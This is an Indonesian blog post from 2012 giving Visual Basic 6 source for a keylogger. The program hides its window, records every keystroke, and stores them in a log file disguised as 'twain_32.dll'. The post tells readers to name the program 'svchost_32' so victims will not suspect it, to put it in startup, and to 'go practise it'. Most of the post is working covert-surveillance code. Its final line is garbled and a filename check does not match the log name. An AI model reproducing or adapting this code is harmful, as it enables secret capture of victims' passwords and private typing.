[+] Post Title :

Membuat Keylogger versi UHD dengan VB6

[+] Date : Rabu, 01 Februari 2012
[+] Author : šëHëR!êž Hⁿc
[+] Link : http://seherieshnc.blogspot.com/2012/01/membuat-keylogger-versi-uhd-dengan-vb6.html
[+] Type : Software

nah ketemu lagi ama ane, tapi, skarang ane mw ngasih tw cara membuat keylogger, ini dia contohnya :

svchost_32.rar(4.58 kb) (ane compress, soalnya mengandung virus)

penggunaan :
. Pindahkan svchost_32(nama keyloggernya, biar kgk curiga korbannya) ke startup
. Buka svchost_32
. dan keylogger-pun berkerja secara otomatis,
. kalo mw ngecheck hasilnya, buka notepad, trus open file "twain_32.dll" di dalam satu folder dengan svchost_32. tara.. kata² berhasil ke log..

kalo cara buatnya sih mudah om, ikuti tutor berikut :
. buat timer,
(name) : Timer1
Interval : 1
Enabled : True

. lalu isikan kode berikut di form :

'A. Fungsi API untuk mendapatkan Status Tombol di Keyboard
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'B. Membuat Variabel Baru
Private Type TList
kode As Integer
bawah As String
atas As String
End Type


'C. Membuat Array untuk Tombol
Private List(1 To 255) As TList
Private IndexList As Integer
'D. Memasukan Key ke TABEL
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub


'E. Membuat Tabel
Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "
End Sub


'F. Mmanggil prosedur & Menghilangkan Form
Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub


'G. Mencatat Ke File TXT
Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\twain_32.") <> "") Then
FileHandler = FreeFile
Open App.Path & "\twain_32.dll" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\twain_32.dll" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub


'H. Memeriksa Ketikan Per Detik
Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End I Sub

jadi dah, mudah kan ?

ayo di praktekin !!!!
Author UHD